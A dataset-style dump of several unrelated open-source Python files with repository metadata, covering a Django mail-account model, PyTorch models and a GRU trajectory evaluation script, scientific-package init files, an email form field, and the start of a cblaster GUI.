] | null | null | null | # -------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for
# license information.
# --------------------------------------------------------------------------
import json
from typing import Any, Dict
from .imports import FileImport
class Config:
def __init__(self, default_version_metadata: Dict[str, Any]):
self.credential = default_version_metadata["config"]["credential"]
self.credential_scopes = default_version_metadata["config"]["credential_scopes"]
self.credential_default_policy_type = default_version_metadata["config"]["credential_default_policy_type"]
self.credential_default_policy_type_has_async_version = (
default_version_metadata["config"]["credential_default_policy_type_has_async_version"]
)
self.credential_key_header_name = default_version_metadata["config"]["credential_key_header_name"]
self.default_version_metadata = default_version_metadata
def imports(self, async_mode: bool) -> FileImport:
imports_to_load = "async_imports" if async_mode else "sync_imports"
return FileImport(json.loads(self.default_version_metadata['config'][imports_to_load]))
| 54.916667 | 114 | 0.679059 | 933 | 0.707891 | 0 | 0 | 0 | 0 | 0 | 0 | 523 | 0.396813 |
345164971a2c93830e3358826acf86441dbdf9b6 | 1,294 | py | Python | mail/models.py | drscream/kumquat | 7bd3d84cc4d0fbdbefa46849210fa787176d6091 | [
"MIT"
] | 12 | 2015-12-10T03:13:28.000Z | 2022-03-06T15:43:40.000Z | mail/models.py | drscream/kumquat | 7bd3d84cc4d0fbdbefa46849210fa787176d6091 | [
"MIT"
] | 53 | 2020-10-09T06:38:09.000Z | 2022-03-16T23:04:34.000Z | mail/models.py | drscream/kumquat | 7bd3d84cc4d0fbdbefa46849210fa787176d6091 | [
"MIT"
] | 2 | 2017-02-17T10:13:02.000Z | 2018-07-06T11:02:26.000Z | from django.db import models
from django.utils.translation import ugettext_lazy as _
from passlib.hash import sha512_crypt
from kumquat.models import Domain
default_length = 255
class Account(models.Model):
name = models.CharField(max_length=default_length)
domain = models.ForeignKey(Domain, related_name='mail_accounts', on_delete=models.CASCADE)
password = models.CharField(max_length=default_length)
subaddress = models.BooleanField(verbose_name=_('Subaddress extension'), help_text=_('Enable subaddress extension (e.g. primary+sub@example.com'), default=False)
def set_password(self, password):
self.password = sha512_crypt.encrypt(password)
def __str__(self):
return str(self.name) + '@' + str(self.domain)
def save(self, **kwargs):
self.name = self.name.lower()
super().save(**kwargs)
class Meta:
unique_together = (('name', 'domain'),)
class Redirect(models.Model):
name = models.CharField(max_length=default_length)
domain = models.ForeignKey(Domain, on_delete=models.CASCADE)
to = models.TextField()
def __str__(self):
return self.name + '@' + str(self.domain)
def save(self, **kwargs):
self.name = self.name.lower()
self.to = self.to.lower()
super().save(**kwargs)
class Meta:
unique_together = (('name', 'domain'),)
| 29.409091 | 162 | 0.729521 | 1,109 | 0.857032 | 0 | 0 | 0 | 0 | 0 | 0 | 130 | 0.100464 |
3452d60bd2ed06a752a9d27fd491621ef648c869 | 1,999 | py | Python | src/nets.py | zpreisler/spectral | 6c164e22f10a78d37a7b6e8e782d3263b54a7316 | [
"MIT"
] | null | null | null | src/nets.py | zpreisler/spectral | 6c164e22f10a78d37a7b6e8e782d3263b54a7316 | [
"MIT"
] | null | null | null | src/nets.py | zpreisler/spectral | 6c164e22f10a78d37a7b6e8e782d3263b54a7316 | [
"MIT"
] | null | null | null | import torch
from torch import nn,optim
from torch.utils.data import Dataset,DataLoader
from torch.optim import Adam
from matplotlib.pyplot import show,figure,imshow,draw,ion,pause,subplots,subplots_adjust
from numpy import log,array,asarray,save
class Skip(nn.Module):
def __init__(self,in_channels,out_channels):
super().__init__()
self.conv = nn.Sequential(
nn.Conv1d(in_channels=in_channels, out_channels=in_channels, padding=2, kernel_size=5,bias=False),
nn.BatchNorm1d(in_channels),
nn.ReLU(),
nn.Conv1d(in_channels=in_channels, out_channels=in_channels, padding=2, kernel_size=5,bias=False)
)
self.pooling = nn.Sequential(
nn.BatchNorm1d(in_channels),
nn.ReLU(),
nn.Conv1d(in_channels=in_channels, out_channels=out_channels, padding=0, kernel_size=1),
nn.MaxPool1d(kernel_size=2, stride=2)
)
def forward(self,x):
y = self.conv(x)
x = x + y
x = self.pooling(x)
return x
class CNNSkip(nn.Module):
def __init__(self,channels = 16, kernel_size = 5):
super().__init__()
self.l0 = nn.Sequential(
nn.Conv1d(in_channels=2, out_channels=channels, padding= int(kernel_size / 2), kernel_size=kernel_size)
)
self.reduce = nn.MaxPool1d(kernel_size=2, stride=2)
self.skip_0 = Skip(channels,channels)
self.skip_1 = Skip(channels,channels)
self.skip_2 = Skip(channels,channels)
self.skip_3 = Skip(channels,1)
self.fc = nn.Sequential(
nn.Linear(128,4),
nn.Sigmoid()
)
def forward(self,x):
x = self.l0(x)
x = self.skip_0(x)
x = self.skip_1(x) + self.reduce(x)
x = self.skip_2(x) + self.reduce(x)
x = self.skip_3(x)
z = x.flatten(1)
#print(z.shape)
z = self.fc(z)
return z
| 28.557143 | 115 | 0.594797 | 1,745 | 0.872936 | 0 | 0 | 0 | 0 | 0 | 0 | 15 | 0.007504 |
34534850b62dcaf2706a524824e2fba8da6957d4 | 8,870 | py | Python | RNN/data/gru_loadNtest.py | aroongta/Pedestrian_Trajectory_Prediction | de368ef502391bbc87100314f96a3ab1f6b9959a | [
"MIT"
] | 24 | 2019-04-19T06:46:26.000Z | 2022-03-10T06:54:29.000Z | RNN/data/gru_loadNtest.py | ironartisan/Pedestrian_Trajectory_Prediction | de368ef502391bbc87100314f96a3ab1f6b9959a | [
"MIT"
] | 6 | 2020-05-09T07:39:57.000Z | 2022-01-13T01:00:04.000Z | RNN/data/gru_loadNtest.py | ironartisan/Pedestrian_Trajectory_Prediction | de368ef502391bbc87100314f96a3ab1f6b9959a | [
"MIT"
] | 14 | 2019-04-10T08:23:26.000Z | 2021-03-20T11:49:08.000Z | #Script to load GRU model trained on all datasets and test
# import relevant libraries
import torch
import torch.nn as nn
import torch.optim as optim
import matplotlib
import numpy as np
import trajectories
import loader
import argparse
import gc
import logging
import os
import sys
import time
from gru_prototype_v4_alldata import GRUNet # class definition needed
# build argparser
parser = argparse.ArgumentParser()
parser.add_argument('--input_size', type=int, default=2)
parser.add_argument('--output_size', type=int, default=2)
# RNN size parameter (dimension of the output/hidden state)
parser.add_argument('--rnn_size', type=int, default=128,
help='size of RNN hidden state')
# size of each batch parameter
parser.add_argument('--batch_size', type=int, default=10,
help='minibatch size')
# Length of sequence to be considered parameter
parser.add_argument('--seq_length', type=int, default=20,
help='RNN sequence length')
parser.add_argument('--pred_length', type=int, default=12,
help='prediction length')
# number of epochs parameter
parser.add_argument('--num_epochs', type=int, default=20,
help='number of epochs')
# frequency at which the model should be saved parameter
parser.add_argument('--save_every', type=int, default=400,
help='save frequency')
# gradient value at which it should be clipped
parser.add_argument('--grad_clip', type=float, default=10.,
help='clip gradients at this value')
# learning rate parameter
parser.add_argument('--learning_rate', type=float, default=0.003,
help='learning rate')
# decay rate for the learning rate parameter
parser.add_argument('--decay_rate', type=float, default=0.95,
help='decay rate for rmsprop')
# dropout probability parameter
parser.add_argument('--dropout', type=float, default=0.5,
help='dropout probability')
# dimension of the embeddings parameter
parser.add_argument('--embedding_size', type=int, default=64,
help='Embedding dimension for the spatial coordinates')
# size of neighborhood to be considered parameter
parser.add_argument('--neighborhood_size', type=int, default=32,
help='Neighborhood size to be considered for social grid')
# size of the social grid parameter
parser.add_argument('--grid_size', type=int, default=4,
help='Grid size of the social grid')
# maximum number of pedestrians to be considered
parser.add_argument('--maxNumPeds', type=int, default=27,
help='Maximum Number of Pedestrians')
# lambda regularization parameter (L2)
parser.add_argument('--lambda_param', type=float, default=0.0005,
help='L2 regularization parameter')
# cuda parameter
parser.add_argument('--use_cuda', action="store_true", default=False,
help='Use GPU or not')
# GRU parameter
parser.add_argument('--gru', action="store_true", default=False,
help='True : GRU cell, False: LSTM cell')
# drive option
parser.add_argument('--drive', action="store_true", default=False,
help='Use Google drive or not')
# number of validation will be used
parser.add_argument('--num_validation', type=int, default=2,
help='Total number of validation dataset for validate accuracy')
# frequency of validation
parser.add_argument('--freq_validation', type=int, default=1,
help='Frequency number(epoch) of validation using validation data')
# frequency of optimizer learning decay
parser.add_argument('--freq_optimizer', type=int, default=8,
help='Frequency number(epoch) of learning decay for optimizer')
# store grids in epoch 0 and use further.2 times faster -> Intensive memory use around 12 GB
parser.add_argument('--grid', action="store_true", default=True,
help='Whether store grids and use further epoch')
# dataset options
parser.add_argument('--dataset_name', default='zara1', type=str)
parser.add_argument('--delim', default='\t')
parser.add_argument('--loader_num_workers', default=4, type=int)
parser.add_argument('--obs_len', default=8, type=int)
parser.add_argument('--pred_len', default=12, type=int)
parser.add_argument('--skip', default=1, type=int)
args = parser.parse_args()
cur_dataset = args.dataset_name
data_dir = os.path.join('/home/roongtaaahsih/ped_traj/sgan_ab/scripts/datasets/', cur_dataset + '/test')
# load trained model
gru_net = torch.load('./saved_models/gru_model_zara2_lr_0.0025_epoch_100_predlen_12.pt')
gru_net.eval() # set dropout and batch normalization layers to evaluation mode before running inference
# test function to calculate and return avg test loss after each epoch
def test(gru_net,args,pred_len,data_dir):
test_data_dir = data_dir #os.path.join('/home/ashishpc/Desktop/sgan_ab/scripts/datasets/', cur_dataset + '/train')
# retrieve dataloader
dataset, dataloader = loader.data_loader(args, test_data_dir)
# define parameters for training and testing loops
criterion = nn.MSELoss() # MSE works best for difference between predicted and actual coordinate paths
# initialize lists for capturing losses
test_loss = []
test_avgD_error=[]
test_finalD_error=[]
# now, test the model
for i, batch in enumerate(dataloader):
test_observed_batch = batch[0]
test_target_batch = batch[1]
out = gru_net(test_observed_batch, pred_len=pred_len) # forward pass of lstm network for training
cur_test_loss = criterion(out, test_target_batch) # calculate MSE loss
test_loss.append(cur_test_loss.item())
out1=out
target_batch1=test_target_batch #making a copy of the tensors to convert them to array
seq, peds, coords = test_target_batch.shape
avgD_error=(np.sum(np.sqrt(np.square(out1[:,:,0].detach().numpy()-target_batch1[:,:,0].detach().numpy())+
np.square(out1[:,:,1].detach().numpy()-target_batch1[:,:,1].detach().numpy()))))/(pred_len*peds)
test_avgD_error.append(avgD_error)
# final displacement error
finalD_error=(np.sum(np.sqrt(np.square(out1[pred_len-1,:,0].detach().numpy()-target_batch1[pred_len-1,:,0].detach().numpy())+
np.square(out1[pred_len-1,:,1].detach().numpy()-target_batch1[pred_len-1,:,1].detach().numpy()))))/peds
test_finalD_error.append(finalD_error)
avg_testloss = sum(test_loss)/len(test_loss)
avg_testD_error=sum(test_avgD_error)/len(test_avgD_error)
avg_testfinalD_error=sum(test_finalD_error)/len(test_finalD_error)
print("============= Average test loss:", avg_testloss, "====================")
return avg_testloss, avg_testD_error,avg_testfinalD_error
def main(args):
'''define parameters for training and testing loops!'''
# num_epoch = 20
# pred_len = 12
# learning_rate = 0.001
num_epoch = args.num_epochs
pred_len = args.pred_len
learning_rate = args.learning_rate
# retrieve dataloader
dataset, dataloader = loader.data_loader(args, data_dir)
''' define the network, optimizer and criterion '''
# gru_net = GRUNet()
criterion = nn.MSELoss() # MSE works best for difference between predicted and actual coordinate paths
# optimizer = optim.Adam(gru_net.parameters(), lr=learning_rate)
# # initialize lists for capturing losses/errors
# test_loss = []
# avg_test_loss = []
# test_finalD_error=[]
# test_avgD_error=[]
# std_test_loss = []
#calling the test function and calculating the test losses
avg_test_loss,test_avgD_error,test_finalD_error=test(gru_net,args,pred_len,data_dir)
# save results to text file
txtfilename = os.path.join("./txtfiles/", r"Trained_all_Results_table_lr_"+ str(learning_rate)+ ".txt")
os.makedirs(os.path.dirname("./txtfiles/"), exist_ok=True) # make directory if it doesn't exist
with open(txtfilename, "a+") as f: #will append to a file, create a new one if it doesn't exist
if(pred_len==2): #To print the heading in the txt file
f.write("Pred_Len"+"\t"+"Avg_Test_Loss"+"\t"+"Test_AvgD_Error"+"\t"+"Test_FinalDisp_Error"+"\n")
#f.write("\n==============Average train loss vs. epoch:===============")
f.write(str(pred_len)+"\t")
#f.write("\n==============avg test loss vs. epoch:===================")
f.write(str(avg_test_loss)+"\t")
#f.write("\n==============Avg test displacement error:===================")
f.write(str(test_avgD_error)+"\t")
#f.write("\n==============final test displacement error:===================")
f.write(str(test_finalD_error)+"\n")
f.close()
print("saved average and std of training losses to text file in: ./txtfiles")
'''main function'''
if __name__ == '__main__':
main(args) | 44.79798 | 133 | 0.685795 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 4,191 | 0.472492 |
34544ffb43d91db7459d5aeadd8a11adedfcdfee | 207 | py | Python | rdbtools3/__init__.py | popravich/rdbtools3 | c2b097f58e7d3a3b12e6671aa413c263c1fb96cf | [
"MIT"
] | 3 | 2016-01-12T23:14:47.000Z | 2019-07-10T05:36:22.000Z | rdbtools3/__init__.py | popravich/rdbtools3 | c2b097f58e7d3a3b12e6671aa413c263c1fb96cf | [
"MIT"
] | null | null | null | rdbtools3/__init__.py | popravich/rdbtools3 | c2b097f58e7d3a3b12e6671aa413c263c1fb96cf | [
"MIT"
] | null | null | null | from .parser import parse_rdb_stream, RDBItem
from .exceptions import FileFormatError, RDBValueError
__version__ = '0.1.2'
(RDBItem, parse_rdb_stream,
FileFormatError, RDBValueError) # pragma: no cover
| 23 | 54 | 0.797101 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 25 | 0.120773 |
34546968b54bbbe9114ab3e2de0a287af779ee89 | 680 | py | Python | vis_imagine_static_voxels/resize_voxel.py | mihirp1998/EmbLang | 169b0468ccda554896973bcc226afb3e762a70e7 | [
"Apache-2.0"
] | 3 | 2020-07-12T02:15:27.000Z | 2021-07-18T06:00:49.000Z | vis_imagine_static_voxels/resize_voxel.py | mihirp1998/EmbLang | 169b0468ccda554896973bcc226afb3e762a70e7 | [
"Apache-2.0"
] | 1 | 2021-07-18T06:00:10.000Z | 2021-07-24T11:51:17.000Z | vis_imagine_static_voxels/resize_voxel.py | mihirp1998/EmbLang | 169b0468ccda554896973bcc226afb3e762a70e7 | [
"Apache-2.0"
] | null | null | null | import tensorflow as tf
def sum():
return tf.ones([2,2,2])
def resize_by_axis(image, dim_1, dim_2, ax):
resized_list = []
unstack_img_depth_list = tf.unstack(image, axis = ax)
for i in unstack_img_depth_list:
resized_list.append(tf.image.resize(i, [dim_1, dim_2]))
stack_img = tf.stack(resized_list, axis=ax)
return stack_img
def resize_voxel(vox,dims):
dim_1,dim_2,dim_3 = dims
resized_along_depth = resize_by_axis(vox,dim_1,dim_2,3)
resized_along_width = resize_by_axis(resized_along_depth,dim_1,dim_3,2)
return resized_along_width
# resized_along_depth = resize_by_axis(x,50,60,2, True)
# resized_along_width = resize_by_axis(resized_along_depth,50,70,1,True) | 35.789474 | 72 | 0.776471 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 128 | 0.188235 |
3455f4a5fc9fcb3c76c852716944dda931b3c3f3 | 5,288 | py | Python | PassInstrument/inference/SpeedupEvaluation/RunSpeedupEval.py | JaredCJR/ThesisTools | 41af365ca85da3f73f72880488477ec699b05923 | [
"Apache-2.0"
] | 1 | 2018-10-14T13:49:36.000Z | 2018-10-14T13:49:36.000Z | PassInstrument/inference/SpeedupEvaluation/RunSpeedupEval.py | JaredCJR/ThesisTools | 41af365ca85da3f73f72880488477ec699b05923 | [
"Apache-2.0"
] | null | null | null | PassInstrument/inference/SpeedupEvaluation/RunSpeedupEval.py | JaredCJR/ThesisTools | 41af365ca85da3f73f72880488477ec699b05923 | [
"Apache-2.0"
] | null | null | null | #!/usr/bin/env python3
import os, sys, signal
import multiprocessing
import subprocess as sp
import shutil
import shlex
import psutil
import time
import csv
import json
import pytz
from datetime import datetime
import Lib as lib
sys.path.append('/home/jrchang/workspace/gym-OptClang/gym_OptClang/envs/')
import RemoteWorker as rwork
def getTargets(path):
"""
path: the root path for "test-suite" to search ".test" file
"""
prog = rwork.Programs()
AllTargetsDict = prog.getAvailablePrograms()
ListOfAvailableTarget = list(AllTargetsDict.keys())
# search all test target in Apps
AppTargets = {}
test_pattern = '.test'
for root, dirs, files in os.walk(path):
for file in files:
if file.endswith(test_pattern):
# remove .test in the file name
file = file[:-5]
# filter out those are not in our consideration.
if file in ListOfAvailableTarget:
AppTargets[file] = root
return AppTargets
def Eval(TargetDict, WorkerID):
"""
TargetDict = {"target": "target root path"}
return BuildTimeDict = {"target": run-time}
"""
RunCyclesDict = {}
prevCwd = os.getcwd()
actor = lib.EnvResponseActor()
for target, targetRoot in TargetDict.items():
isBuilt = False
retStatus = actor.EnvEcho(target, WorkerID, TargetDict, ParallelBuild=True)
if retStatus == "Success":
# get cycles from "RecordTargetFilePath"
'''
ex.
log file format: /tmp/PredictionDaemon/worker-[n]/[BenchmarkName].usage
record path example:
/tmp/PredictionDaemon/worker-1/bmm.usage
e.g.
bmm; cpu-cycles | 5668022249; func | matmult | 0.997
'''
RecordTargetFilePath = '/tmp/PredictionDaemon/worker-' + WorkerID + '/' + target + '.usage'
with open(RecordTargetFilePath, 'r') as recFile:
info = recFile.read()
TotalCycles = info.split(';')[1].split('|')[1].strip()
RunCyclesDict[target] = int(TotalCycles)
print("Target={}, takes {} cycles".format(target, TotalCycles))
else:
RunCyclesDict[target] = -1
os.chdir(prevCwd)
return RunCyclesDict
def runEval(WorkerID, jsonPath):
"""
TargetRoot: the root path in your test-suite/build
return {"target": {key_1: first_time, key_2: second_time}}
"""
'''
# get all .test target
Targets = getTargets(TargetRoot + '/SingleSource/Benchmarks')
Targets.update(getTargets(TargetRoot + '/MultiSource/Benchmarks'))
Targets.update(getTargets(TargetRoot + '/MultiSource/Applications'))
#Targets = {"GlobalDataFlow-dbl":"/home/jrchang/workspace/llvm-thesis-inference/test-suite/build-worker-6/MultiSource/Benchmarks/TSVC/GlobalDataFlow-dbl"}
'''
# Build, verify and log run time
builder = lib.EnvBuilder()
LitTestDict = builder.CheckTestSuiteCmake(WorkerID)
retDict = Eval(LitTestDict, WorkerID)
# record as file for logging
date = datetime.now(pytz.timezone('Asia/Taipei')).strftime("%m-%d_%H-%M")
Dir = "log-" + date
os.makedirs(Dir)
with open(Dir + '/' + jsonPath, 'w') as fp:
json.dump(retDict, fp)
return retDict
def readOriginalResults():
loc = os.getenv("LLVM_THESIS_RandomHome", "Error")
loc = loc + "/LLVMTestSuiteScript/GraphGen/output/newMeasurableStdBenchmarkMeanAndSigma"
Orig_cycles_mean = {}
Orig_cycles_sigma = {}
with open(loc, 'r') as File:
'''
e.g.
PAQ8p/paq8p; cpu-cycles-mean | 153224947840; cpu-cycles-sigma | 2111212874
'''
for line in File:
elms = line.split(';')
target = elms[0].split('/')[-1]
mean = elms[1].split('|')[1].strip()
sigma = elms[2].split('|')[1].strip()
Orig_cycles_mean[target] = int(mean)
Orig_cycles_sigma[target] = int(sigma)
return Orig_cycles_mean, Orig_cycles_sigma
if __name__ == '__main__':
WorkerID = "6"
print("-------------------------------------------")
print("Make sure your $$LLVM_THESIS_HOME point to the inference one.")
print("If you would like to change worker, modify the passed args of runEval()")
print("Default WorkerID={}".format(WorkerID))
print("-------------------------------------------")
for i in range(1):
startTime = time.perf_counter()
'''
Measure the build time for ABC
'''
key_2 = "ABC"
ABC_results = runEval(WorkerID, "ABC_cycles_mean.json")
'''
If you already ran, just read the data.
'''
#ABC_results = json.load(open("ABC_cycles_mean.json"))
# read data from previous results
# we don't have to read the original data for every time
'''
Orig_cycles_mean, Orig_cycles_sigma = readOriginalResults()
with open("Orig_cycles_mean.json", 'w') as fp:
json.dump(Orig_cycles_mean, fp)
with open("Orig_cycles_sigma.json", 'w') as fp:
json.dump(Orig_cycles_sigma, fp)
'''
endTime = time.perf_counter()
print("The evaluation procedure takse:{} mins".format((endTime - startTime)/60))
| 35.72973 | 158 | 0.609871 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2,531 | 0.478631 |
34562b1de4dbc484e75da38e9909f47142dcc782 | 986 | py | Python | pylith/problems/__init__.py | joegeisz/pylith | f74060b7b19d7e90abf8597bbe9250c96593c0ad | [
"MIT"
] | 1 | 2021-01-20T17:18:28.000Z | 2021-01-20T17:18:28.000Z | pylith/problems/__init__.py | joegeisz/pylith | f74060b7b19d7e90abf8597bbe9250c96593c0ad | [
"MIT"
] | null | null | null | pylith/problems/__init__.py | joegeisz/pylith | f74060b7b19d7e90abf8597bbe9250c96593c0ad | [
"MIT"
] | null | null | null | #!/usr/bin/env python
#
# ----------------------------------------------------------------------
#
# Brad T. Aagaard, U.S. Geological Survey
# Charles A. Williams, GNS Science
# Matthew G. Knepley, University of Chicago
#
# This code was developed as part of the Computational Infrastructure
# for Geodynamics (http://geodynamics.org).
#
# Copyright (c) 2010-2017 University of California, Davis
#
# See COPYING for license information.
#
# ----------------------------------------------------------------------
#
## @file pylith/problems/__init__.py
##
## @brief Python PyLith crustal dynamics problems module initialization
__all__ = ['EqDeformation',
'Explicit',
'Implicit',
'Problem',
'Solver',
'SolverLinear',
'SolverNonlinear',
'TimeDependent',
'TimeStep',
'TimeStepUniform',
'TimeStepUser',
'TimeStepAdapt',
'ProgressMonitor',
]
# End of file
| 24.65 | 72 | 0.527383 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 790 | 0.801217 |
3458c97c680205824135db67c32f6f0bb720e1b0 | 977 | py | Python | examples/cp/misorientation.py | ajey091/neml | 23dd2cdb83057fdd17a37fa19f4592c54f821dbf | [
"MIT"
] | 6 | 2020-05-06T17:04:29.000Z | 2021-08-03T20:02:22.000Z | examples/cp/misorientation.py | ajey091/neml | 23dd2cdb83057fdd17a37fa19f4592c54f821dbf | [
"MIT"
] | 66 | 2018-10-26T01:32:43.000Z | 2022-02-01T03:02:18.000Z | examples/cp/misorientation.py | ajey091/neml | 23dd2cdb83057fdd17a37fa19f4592c54f821dbf | [
"MIT"
] | 14 | 2018-11-28T17:07:24.000Z | 2022-01-06T16:57:15.000Z | #!/usr/bin/env python3
import sys
sys.path.append('../..')
import numpy as np
from neml.cp import crystallography
from neml.math import rotations
import matplotlib.pyplot as plt
if __name__ == "__main__":
N = 300
orientations = rotations.random_orientations(N)
sgroup = crystallography.SymmetryGroup("432")
angles = []
for i in range(len(orientations)):
for j in range(i+1, len(orientations)):
o1 = orientations[i]
o2 = orientations[j]
m = sgroup.misorientation(o1,o2)
axis, angle = m.to_axis_angle()
angles.append(angle)
angles = np.rad2deg(angles)
plt.figure()
plt.hist(angles, bins = 30)
plt.show()
Np = N * (N-1)
orientations1 = rotations.random_orientations(Np)
orientations2 = rotations.random_orientations(Np)
mis = sgroup.misorientation_block(orientations1, orientations2)
angles = [np.rad2deg(m.to_axis_angle()[1]) for m in mis]
plt.figure()
plt.hist(angles, bins = 30)
plt.show()
| 20.787234 | 65 | 0.684749 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 44 | 0.045036 |
345b8b64e41fef1a1e9f95fd8a1d44084d6f85bb | 155 | py | Python | valid triangle.py | Tanuka-Mondal/Competi | b244ade867862b4e33e63dabd2cdd136340c0bf8 | [
"MIT"
] | 1 | 2021-09-08T05:36:48.000Z | 2021-09-08T05:36:48.000Z | valid triangle.py | Tanuka-Mondal/Competi | b244ade867862b4e33e63dabd2cdd136340c0bf8 | [
"MIT"
] | null | null | null | valid triangle.py | Tanuka-Mondal/Competi | b244ade867862b4e33e63dabd2cdd136340c0bf8 | [
"MIT"
] | null | null | null | t = int(input())
while (t!=0):
a,b,c = map(int,input().split())
if (a+b+c == 180):
print('YES')
else:
print('NO')
t-=1
| 17.222222 | 36 | 0.412903 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 9 | 0.058065 |
345cff6b5dc8f245274d42d83f7cdc4417c7b6b5 | 1,961 | py | Python | proper_forms/fields/email.py | jpsca/pforms | 77c9da93e5224e79bb147aa873f28951e972bb21 | [
"MIT"
] | 2 | 2020-09-30T22:41:00.000Z | 2020-12-04T16:47:17.000Z | proper_forms/fields/email.py | jpsca/hyperform | d5c450ad8684a853fed26f8c2606877151125a9e | [
"MIT"
] | 2 | 2021-11-18T18:01:28.000Z | 2021-11-18T18:03:29.000Z | proper_forms/fields/email.py | jpsca/hyperform | d5c450ad8684a853fed26f8c2606877151125a9e | [
"MIT"
] | null | null | null | from .text import Text
from ..ftypes import type_email
__all__ = ("Email", )
class Email(Text):
"""Validates and normalize an email address using the
JoshData/python-email-validator library.
Even if the format is valid, it cannot guarantee that the email is real, so the
purpose of this function is to alert the user of a typing mistake.
The normalizations include lowercasing the domain part of the email address
(domain names are case-insensitive), unicode "NFC" normalization of the whole
address (which turns characters plus combining characters into precomposed
characters where possible and replaces certain unicode characters (such as
angstrom and ohm) with other equivalent code points (a-with-ring and omega,
respectively)), replacement of fullwidth and halfwidth characters in the domain
part, and possibly other UTS46 mappings on the domain part.
Options:
check_dns (bool):
Check if the domain name in the email address resolves.
There is nothing to be gained by trying to actually contact an SMTP server,
so that's not done.
allow_smtputf8 (bool):
Accept non-ASCII characters in the local part of the address
(before the @-sign). These email addresses require that your mail
submission library and the mail servers along the route to the destination,
including your own outbound mail server, all support the
[SMTPUTF8 (RFC 6531)](https://tools.ietf.org/html/rfc6531) extension.
By default this is set to `False`.
"""
input_type = "email"
def __init__(self, *args, **kwargs):
super().__init__(*args, **kwargs)
self.error_messages.setdefault("type", "Doesn‘t look like a valid e-mail.")
def type(self, value, check_dns=False, allow_smtputf8=False):
return type_email(value, check_dns=check_dns, allow_smtputf8=allow_smtputf8)
| 40.854167 | 87 | 0.701683 | 1,881 | 0.958227 | 0 | 0 | 0 | 0 | 0 | 0 | 1,567 | 0.798268 |
345e919fc4bc8d467c8097d3915cd62a71162fb0 | 244 | py | Python | dm/preprocessing/step5.py | NeilKleistGao/Dejavu | 57a8e078f488ec57e1bbf86160b7eafb140be35f | [
"MIT"
] | 2 | 2021-04-16T09:04:00.000Z | 2021-04-23T08:46:45.000Z | dm/preprocessing/step5.py | NeilKleistGao/Dejavu | 57a8e078f488ec57e1bbf86160b7eafb140be35f | [
"MIT"
] | null | null | null | dm/preprocessing/step5.py | NeilKleistGao/Dejavu | 57a8e078f488ec57e1bbf86160b7eafb140be35f | [
"MIT"
] | 2 | 2021-04-23T08:51:34.000Z | 2021-05-09T13:29:09.000Z | import numpy
import pandas as pd
# 替换异常值
if __name__ == '__main__':
df = pd.read_csv("../dataset/temp4.csv")
df.replace(to_replace='-', value=0.5, inplace=True)
print(df.head(3))
df.to_csv("../dataset/temp5.csv", index=False)
| 22.181818 | 55 | 0.651639 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 74 | 0.291339 |
34601d4a3a2aca95af185ecc4403659540657447 | 1,546 | py | Python | src/memoprop/__about__.py | lewisacidic/memoized-property | 458fc73832a4207c05bb24101a1a3571cfebce79 | [
"MIT"
] | 1 | 2020-05-29T21:31:43.000Z | 2020-05-29T21:31:43.000Z | src/memoprop/__about__.py | lewisacidic/memoized-property | 458fc73832a4207c05bb24101a1a3571cfebce79 | [
"MIT"
] | 1 | 2019-10-17T16:32:26.000Z | 2019-10-17T16:32:26.000Z | src/memoprop/__about__.py | lewisacidic/memoprop | 458fc73832a4207c05bb24101a1a3571cfebce79 | [
"MIT"
] | null | null | null | #!/usr/bin/env python
# -*- coding: utf-8 -*-
#
# Copyright (c) 2019 Rich Lewis
# License: MIT license
"""Metadata for memoprop."""
# guard import
# in setup.py we use run this with runpy so the import will fail
try:
from ._version import get_versions
__version__ = get_versions()["version"]
del get_versions
except ImportError:
__version__ = None
__distname__ = "memoprop"
__name__ = "memoprop"
__description__ = "Basic memoized properties for Python."
__license__ = "MIT license"
__copyright__ = "Copyright (c) 2019 Rich Lewis"
__author__ = "Rich Lewis"
__author_email__ = "opensource@richlew.is"
__url__ = "https://github.com/lewisacidic/memoprop"
__docs_url__ = "https://github.com/lewisacidic/memoprop"
__source_url__ = "https://github.com/lewisacidic/memoprop"
__bugtracker_url__ = "https://github.com/lewisacidic/memoprop/issues"
__download_url__ = "https://github.com/lewisacidic/memoprop/releases"
__classifiers__ = [
"Development Status :: 2 - Pre-Alpha",
"Programming Language :: Python :: 3",
"Programming Language :: Python :: 3 :: Only",
"Programming Language :: Python :: 3.7",
"Natural Language :: English",
]
__keywords__ = ["decorator", "property", "memoized"]
__all__ = [
"__author__",
"__author_email__",
"__bugtracker_url__",
"__classifiers__",
"__copyright__",
"__description__",
"__distname__",
"__docs_url__",
"__download_url__",
"__keywords__",
"__license__",
"__name__",
"__source_url__",
"__url__",
"__version__",
]
| 26.20339 | 69 | 0.694696 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1,010 | 0.653299 |
34619aa41c8c7863e143a2333870656f4b2f09c9 | 6,975 | py | Python | cblaster/gui/main.py | bramvanwersch/cblaster | 891c7ba364a7c5ad26f55bd7c1915ade5cc46aa9 | [
"MIT"
] | null | null | null | cblaster/gui/main.py | bramvanwersch/cblaster | 891c7ba364a7c5ad26f55bd7c1915ade5cc46aa9 | [
"MIT"
] | null | null | null | cblaster/gui/main.py | bramvanwersch/cblaster | 891c7ba364a7c5ad26f55bd7c1915ade5cc46aa9 | [
"MIT"
] | null | null | null | """A basic GUI for cblaster."""
import sys
import builtins
import PySimpleGUI as sg
from cblaster import __version__
from cblaster import main, extract as cb_extract
from cblaster.gui import search, makedb, citation, gne, extract
sg.theme("Lightgrey1")
def Column(layout, scrollable=False):
return sg.Column(
layout,
scrollable=scrollable,
size=(540, 480),
vertical_scroll_only=True
)
def run_cblaster(values):
"""Handles conversion of PySimpleGUI values to cblaster parameters.
- Know which workflow tab we're on (search or makedb)
- search
- Know which search mode tab we're on
- if remote, use entrez query, database, RID
- if local, jdb and database
Args:
values (dict): Dictionary of values from PySimpleGUI.
"""
if values["cblaster_tabs"] == "Search":
args = dict(
query_file=values["query_file"],
query_ids=values["query_ids"],
query_profiles=values["query_profiles"].split(" "),
session_file=values["session_file"],
mode=values["search_mode"],
